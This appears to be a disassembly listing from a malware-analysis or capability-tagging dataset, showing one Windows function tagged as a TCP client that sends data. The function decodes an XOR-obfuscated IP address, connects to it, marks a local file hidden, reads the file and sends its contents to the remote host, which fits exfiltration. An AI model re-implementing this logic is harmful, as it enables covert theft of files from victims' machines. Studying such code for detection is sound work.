Function at 0x5d5ad0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5ef5a5
push eax
mov eax, 0x32494
mov dword fs:[0], esp
call fcn.005b3fe0
push edi
lea eax, [ebp - 0x394]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov edi, eax
cmp edi, 0xffffffff
jne 0x5d5b1b
call sub.WS2_32.dll_WSACleanup
mov eax, 2
push 0x8145
mov word [ebp - 0x24], ax
call sub.WS2_32.dll_htons
mov word [ebp - 0x22], ax
mov ecx, 0xc2
xor edx, edx
lea esp, [esp]
mov al, byte [edx + 0x6892d0]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x33], al
and ecx, 0x800000ff
jns 0x5d5b5d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x5d5b40
lea eax, [ebp - 0x33]
mov byte [ebp - 0x25], 0
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push 0x10
push eax
push edi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x5d5b8f
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 0xfc
lea eax, [ebp - 0x201]
mov word [ebp - 0x204], 0x5471
push 0
push eax
mov byte [ebp - 0x202], 0x43
call fcn.005b2e70
push 0x689384
call fcn.005d6dd0
add esp, 0x10
lea eax, [ebp - 0x204]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
push 0x40
push 0x20
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x104]
call fcn.005d7d60
cmp dword [ebp - 0xa4], 0
mov dword [ebp - 4], 0
jne 0x5d5c01
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
push 2
push 0
push 0
lea ecx, [ebp - 0x104]
call fcn.005da680
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x104]
call fcn.005dabf0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
call fcn.005da680
mov eax, dword [0x8264cc]
test eax, eax
jne 0x5d5c53
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
mov eax, dword [0x8264cc]
test eax, eax
je 0x5d5c42
pop esi
mov dword [ebp - 0x324a0], eax
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x3239c], eax
mov dword [ebp - 0x12], 0x61726143
mov word [ebp - 0xe], 0x5a
jmp 0x5d5c80
mov al, byte [ebp + ecx - 0x12]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3249d], al
test al, al
jne 0x5d5c80
push 0
mov byte [ebp - 0x398], al
lea ecx, [ebp - 0x104]
push 0x32000
lea eax, [ebp - 0x32398]
push eax
call fcn.005da4b0
push 0
push 0x3210c
lea eax, [ebp - 0x324a0]
push eax
push edi
call sub.WS2_32.dll_send
lea ecx, [ebp - 0x104]
call fcn.005d99e0
lea eax, [ebp - 0x204]
push eax
call fcn.005af9ae
add esp, 4
push edi
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov eax, dword [ebp - 0x104]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x108], eax
lea ecx, [ebp - 0xf4]
call fcn.005d8550
mov eax, dword [ebp - 0x104]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x108], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], vtable.std::ios_base.0
call fcn.005de718
mov ecx, dword [ebp - 0xc]
add esp, 4
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret